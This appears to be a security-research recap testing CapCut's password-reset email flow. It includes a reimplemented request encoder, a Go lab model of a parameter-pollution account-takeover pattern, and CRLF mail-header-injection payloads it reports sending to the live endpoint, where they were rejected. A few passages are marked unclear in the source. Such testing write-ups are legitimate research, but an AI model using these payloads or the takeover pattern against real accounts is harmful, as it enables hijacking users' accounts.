Takopi Class  /  Recap

Session 14

Still on CapCut, the forgot password flow from session 13. The identity parameters and delivery targets block of the forgot password checklist: the encoder the reset request sends the email through, how a Go backend treats a repeated or listed email, the checker-vs-mailer split that turns that into a takeover, and mail header injection fired live at the real endpoint.

Summary of findings

From the track list, section 05 Honest status, three of five worked. The two live-fireable sets that were run gave no CapCut bug: mail header injection is rejected before send, and the pollution and multi-value work is a lab model of the shape to hunt, not a proven CapCut finding. Case and Unicode collisions and phone normalization are still open.
  1. 01The page encodes the email before it sends itTarget: www.capcut.com, the login bundleInfoDone, checked against the original
  2. 02Go form parsing keeps the first value. JSON keeps the last value.Target: a local Go app, not CapCutInfoDone in the lab
  3. 03The check reads one value. The mailer sends to all values.Target: a local Go app, not CapCutNot ratedLab model, not tested on CapCut
  4. 04The server rejects CR and LF before it sends mailTarget: POST /passport/web/email/send_code/ on CapCutNoneTested live, no bug
  • Info Groundwork. No security effect is claimed.
  • Not rated Lab model only. It is not proven on the target.
  • None Tested on the target. No bug.

Scope

Session

Asset www.capcut.com Checklist Forgot password, phase 07 Date 2026-11-29
Live request
POST /passport/web/email/send_code/
Code read
The login bundle on sf16-web-login-neutral.capcutstatic.com
Lab
A local Go app, go1.24. It is not CapCut.

Where each test ran

  • Read only: section 01 reads the CapCut bundle code
  • Lab only: sections 02 and 03 ran on the local Go app
  • Live on CapCut: section 04 sent payloads to the real endpoint
  • Not started: two tracks of phase 07, see Open items

Findings

Each card is one result. The number is the section number of the original brief. Long code is in Evidence.

01Inforead · forgot password, the send_code request

The email is encoded before it is sent, the mix_mode encoder

Target

The encoder lives in the login bundle on sf16-web-login-neutral.capcutstatic.com, under /obj/capcut-web-login-static/ies/lvweb/account_online/static/js/, found from the live www.capcut.com/forget-password page.

Impact

The first test of the block puts a second email next to the first one. On CapCut the email never travels in plain text, the reset request carries it as hex, so a second copy only means something if it is encoded the same way the page encodes the first. That is why the encoder came first.

Steps
Flow chart 1How does the email get to the server?
Browser CapCut server email, type 4 params hex body Call the page sender Call the SDK sender Encode email and type Receive POST send_code 1 2 3 4
  • Start or end
  • Action
  • Attack path
  • Step number
  1. the page, b7.0c006e311a.jssendForgetPwdEmailCode(email, next)calls the SDK with {email, extra_params:{type:4, next}}
  2. the SDK, 6.8f633a9191.jsnotLoginSendEmailCode
  3. Y(params, ["email","type"]), the encoder, exported from the file as MF
  4. the wirePOST /passport/web/email/send_code/

The scheme is three small functions:

  • V turns the value into UTF-8 bytes
  • F XORs every byte with 5 and writes it as hex, with no zero padding
  • Y encodes only the keys it is given, here email and type, so next stays plain, and sets mix_mode and fixed_mix_mode to 1 once any key was encoded
Evidence
http
POST /passport/web/email/send_code/

mix_mode=1&email=<hex>&type=31&next=<plain>&fixed_mix_mode=1
type=31 is not a type 31. It is type:4 encoded, "4" is 0x34, XOR 5 gives 0x31. The page always sends type 4, and the type=4 in the mailed link is the same value, just not encoded.
Status

Done. The console version agrees with the original. See the check under E2.

limits · what the scheme cannot carry

  • Control characters encode to one hex digit in the page's scheme, a CRLF is 8f because nothing is zero padded, so ccDecrypt cannot read it back; ccEncryptPad writes it as 080f, which decodes cleanly, but the page itself never sends the padded form
  • Outside the BMP the two encoders part: the page drops an emoji silently, TextEncoder writes its four UTF-8 bytes, and a lone surrogate becomes U+FFFD; every input this block tests is inside the BMP, where the two agree byte for byte

The third limit is an open test. It is in Open items.

02Infobuilt · a throwaway Go app, not CapCut

How Go treats a repeated parameter, the local lab

Target

A local Go app, go1.24. It is not CapCut.

Impact
Go form parsing takes the first value, JSON parsing takes the last. A front end or WAF that keeps a different copy than the Go backend sees a different email, and a semicolon or an encoded key splits the two apart. All re-run today against go1.24, the table is the live output, not a memory.
Steps

Parameter pollution and multi-value forms ask the same question: when the request carries email twice, or as a list, which copy does the lookup read, and which copy does the mailer send to. Yesterday's fingerprint said the backend behaves like Go, so instead of firing untested payloads at CapCut we built a small local Go app that parses a request every way the standard library does and prints each result.

Evidence
RequestA single read returnsWhat Go keeps
email=a&email=ba, the first[a b]
email=&email=b empty, the empty first still wins[  b]
email[]=a&email[]=b empty, no PHP-style arrayskey is literally email[]
emai%6c=a&email=ba, the decoded key merges[a b] under email
email=a;x=1&email=bb, the a pair is droppedparse error, swallowed
query email=q + urlencoded body email=b1b1, the body beats the query[b1 b2 q] [UNCLEAR IN SOURCE]
query email=q + multipart body email=m1q, the query beats the body[q m1]
JSON {"email":"a","email":"b"}b, the last winsone string
JSON {"email":["a","b"]}the type changes to an array[a b]
Status

Done in the lab. Nobody sent these requests to CapCut.

03Not ratedmodeled · the takeover shape, in the lab

The check reads one value, the mailer sends to the list

Target

A local Go app. It is not CapCut.

Impact
That split is the bug, and zero-interaction when it lands. The code issued for the victim's address is delivered to the attacker's, with no click. In the lab every pollution and array case from section 02 reproduced it. This is the shape to hunt, not a CapCut result, the live test of that split is below. [UNCLEAR IN SOURCE]
Steps

The table above is only interesting if the two reads feed two different stages. The lab's second half adds a sender with the contract many mail libraries expose, then wires it to a checker that reads a single value.

Flow chart 2How does one request reach two inboxes?
Attacker Server Victim request different read code code Send two email values Approve the first value Mail the whole list Receive the reset code Receive the same code 1 2 3 4 5
  • Start or end
  • Action
  • Attack path
  • Step number
  1. The request has two values for email. The full lab code is in E3.
  2. the checkr.FormValue("email") reads [email protected], the first value, and approves itthe same request, a different read
  3. the mailerr.Form["email"] is the whole list, so the reset code is sent to victim and attacker
  4. The victim receives the reset code.
  5. The attacker receives the same code. No click is necessary.
Status

Modeled in the lab. It is not tested on CapCut.

04Nonetested live · POST send_code, the real endpoint

Mail header injection, tested live on CapCut

Target

CapCut, POST /passport/web/email/send_code/.

Impact
No injection, no bug here. CR and LF are both rejected before send. Still untested: comma or semicolon recipient lists, an RFC 5321 quoted local part carrying CRLF, the U+2028 and U+0085 line separators, %00, and moving email into the query string, which X-Bogus signs so it needs a fresh signature from the browser.
Steps

This one was run against CapCut itself, on POST /passport/web/email/send_code/, the request from section 01. The idea is a CR or LF inside the address that breaks into the mail headers and adds a Cc or Bcc the server never meant to send. Every payload went through the section 01 encoder, one at a time, stopping on anything that was not an error.

Flow chart 3Does a CR or LF get into the mail headers?
Attacker CapCut server hex email form or JSON no: JSON, empty yes no: CR, LF yes: clean Encode the CRLF payload Send POST send_code Find form email? Get error 1031 Pass format check? Reject with error 1044 Get success, email_ticket 1 2 3 4 5 6 7
  • Start or end
  • Action
  • Decision
  • Attack path
  • Step number
  1. Encode each payload with the section 01 encoder.
  2. Send each payload to send_code, one at a time.
  3. The server looks for the email in the form body. A JSON body or an empty field fails here.
  4. The server returns error 1031.
  5. The server checks the email format before it sends mail.
  6. A CR or a bare LF fails the check. The server returns error 1044 and sends no mail.
  7. A clean email passes. The server returns success with an email_ticket.
Evidence
Payload in the email fieldBodyResponse
victim@…%0d%0acc:attacker@…form1044 Enter the correct email format
victim@…%0d%0abcc:attacker@…form1044
victim@…%0d%0aSubject: injectedform1044
victim@…%0aBcc: attacker@… (bare LF)form1044
"victim@…\nBcc: attacker@…"JSON1031 Enter a valid email address
empty email, a controlform1031
notanemail, a controlJSON1031
  • The format validator runs before anything is sent, and it rejects both \r\n and a bare \n with 1044, so no mail went out, nothing to check in the inbox
  • JSON is ignored by this endpoint: a malformed JSON email returns 1031, the same code as an empty field, so the JSON payload never reached the format check, the JSON row proves nothing
  • The signature is not the blocker: each payload came back with a field-level validation error, not an X-Bogus or X-Gnarly signature error, so the body edits were accepted and genuinely validated
  • Positive baseline: a clean email on the same endpoint returns success with an email_ticket, so it does send when the address is valid, the rejections are real rejections
Status

Tested live, no bug. Some recipient forms are not tested. The list is in the impact above.

Evidence

This section has the long code. Click an item to open it. Use Copy to copy a code block.

E1The original encoderthe original · 6.8f633a9191.js, minified

Evidence for section 01.

js
var V=function(e){for(var t,a=e.toString(),r=[],i=0;i<a.length;i++)0<=(t=a.charCodeAt(i))&&t<=127?r.push(t):128<=t&&t<=2047?(r.push(192|31&t>>6),r.push(128|63&t)):(2048<=t&&t<=55295||57344<=t&&t<=65535)&&(r.push(224|15&t>>12),r.push(128|63&t>>6),r.push(128|63&t));for(var n=0;n<r.length;n++)r[n]&=255;return r},
F=function(e){var t=[],a=[];if(void 0===e)return"";a=V(e);for(var r=0,i=a.length;r<i;++r)t.push((5^a[r]).toString(16));return t.join("")},
Y=function(e,t){var a,r=0,i=0;if("object"!=typeof e||!t||t.length<=0)return e;for(var n=O({mix_mode:r},e),o=0,s=t.length;o<s;++o)void 0!==(a=n[t[o]])&&(r|=1,i|=1,n[t[o]]=F(a));return n.mix_mode=r,n.fixed_mix_mode=i,n}
E2Our console versionour console version · paste into DevTools

Evidence for section 01. The last example builds the payload for section 04.

The same logic, rewritten readable and runnable in the browser console with no Node. ccForgetBody builds the request body exactly as the page does, ccDecodeBody reads a captured one back. ccEncrypt takes its UTF-8 bytes from the browser's TextEncoder, and ccEncryptPad is the zero-padded variant, two hex digits per byte, for the control-character payloads of this block.

js
// CapCut passport mix_mode: UTF-8 bytes, XOR 5, hex (same as V/F/Y in 6.8f633a9191.js)
function ccEncrypt(value) {              // faithful: no zero-pad, exactly like CapCut's F()
  if (value === undefined) return "";
  const b = Array.from(new TextEncoder().encode(String(value)));
  return b.map(x => ((x & 0xff) ^ 5).toString(16)).join("");
}
function ccEncryptPad(value) {           // 2 hex per byte
  if (value === undefined) return "";
  const b = Array.from(new TextEncoder().encode(String(value)));
  return b.map(x => ((x & 0xff) ^ 5).toString(16).padStart(2, "0")).join("");
}
function ccDecrypt(hex) {                // assumes 2 hex per byte
  const b = [];
  for (let i = 0; i < hex.length; i += 2) b.push(parseInt(hex.substr(i, 2), 16) ^ 5);
  return new TextDecoder().decode(new Uint8Array(b));
}

// Same as the SDK's encryptParams (Y / MF): encrypts only the listed keys
function ccEncryptParams(params, keys) {
  let mix = 0;
  const out = Object.assign({ mix_mode: 0 }, params);
  for (const k of keys) if (out[k] !== undefined) { mix = 1; out[k] = ccEncrypt(out[k]); }
  out.mix_mode = mix;
  out.fixed_mix_mode = mix;
  return out;
}

// Forget-password send_code body, exactly as the page builds it
function ccForgetBody(email, next) {
  const p = ccEncryptParams({ email, type: 4, next }, ["email", "type"]);
  return Object.entries(p).map(([k, v]) => k + "=" + (k === "next" ? encodeURIComponent(v) : v)).join("&");
}

// Decode a captured body: decrypts email/type/mobile/password/code/account
function ccDecodeBody(body) {
  const enc = ["email", "type", "mobile", "password", "code", "account"];
  const o = Object.fromEntries(new URLSearchParams(body));
  for (const k of enc) if (o[k] && o.mix_mode === "1") o[k] = ccDecrypt(o[k]);
  return o;
}
js, example calls
ccEncrypt("4")                    // "31"
ccEncrypt("[email protected]")   // "736c66716c6845607d64687569602b666a68"
ccDecrypt("736c66716c6845607d64687569602b666a68")   // "[email protected]"
ccForgetBody("[email protected]", "https://www.capcut.com/")
// "mix_mode=1&email=736c66716c6845607d64687569602b666a68&type=31&next=https%3A%2F%2Fwww.capcut.com%2F&fixed_mix_mode=1"
ccDecodeBody("mix_mode=1&email=736c66716c6845607d64687569602b666a68&type=31&fixed_mix_mode=1")
// {mix_mode: "1", email: "[email protected]", type: "4", fixed_mix_mode: "1"}

// the mail header injection payload, with a real enter
const val = '[email protected]\r\ncc:[email protected]';
ccEncrypt(val)
// 736c66716c6845607d64687569602b666a68 8f 66663f64717164666e607745607d64687569602b666a68
ccEncryptPad(val)
// 736c66716c6845607d64687569602b666a68 080f 66663f64717164666e607745607d64687569602b666a68
// spaces added around the CRLF for reading, the real output has none
E3The Go lab codemodeled · the sender and the handler, from section 03

Evidence for section 03.

go
// the sender's contract, the shape many mail libraries expose:
// a string goes to one address, a list goes to every address in it
func Send(to any, subject, body string) {
    switch v := to.(type) {
    case string:                 // one recipient
        recipients = []string{v}
    case []string:               // every address in the list
        recipients = v
    }
    // ... build and send to all of recipients
}

// the handler: the check reads ONE value, the mailer gets the whole slice
code := newCode()
checked := r.FormValue("email")        // "[email protected]", the first value
mailer.Send(r.Form["email"], code)     // ["[email protected]", "[email protected]"]
Checked against the original. Run in Node today, the TextEncoder ccEncrypt gives the same output as the minified F on eleven inputs, among them the uppercase, trailing space, trailing dot, +tag, dotted İ and full-width variants this block tests, a CRLF and a tab, and ccEncryptParams matches Y field for field. The readable copy written during the hunt rebuilt the captured request body byte for byte, field order included.
05

Open items

Identity parameters and delivery targets, the track list

Phase 07 of the forgot password checklist. What was run live on CapCut, and what was worked in the lab or still open.

  • Parameter pollution on the requestlab
    • Go's duplicate-key behavior mapped in the local app, section 02, not fired at CapCut live
  • Multi-value formslab
    • Array and email[] forms covered by the same app, the checker-vs-mailer split modeled in section 03, not CapCut
  • Mail header injectionlive
    • Tested on CapCut send_code, section 04, CR and LF rejected before send, no bug
  • Case and Unicode collisions
    • Not tested live yet: uppercase, trailing space, trailing dot, %00, +tag, dotted İ, full-width
  • Phone normalization
    • Not tested, this reset flow is email only so far, no phone path probed

Other open tests

  • From section 01, limitsNot tested yet: which form the server decodes, the page's one-digit 8f or the padded 080f, and whether either reaches the mail headers, for the CRLF header injection and %0a delimiter steps of this block [UNCLEAR IN SOURCE]
  • From section 04, impactSome recipient forms are not tested. Read the list in the section 04 impact.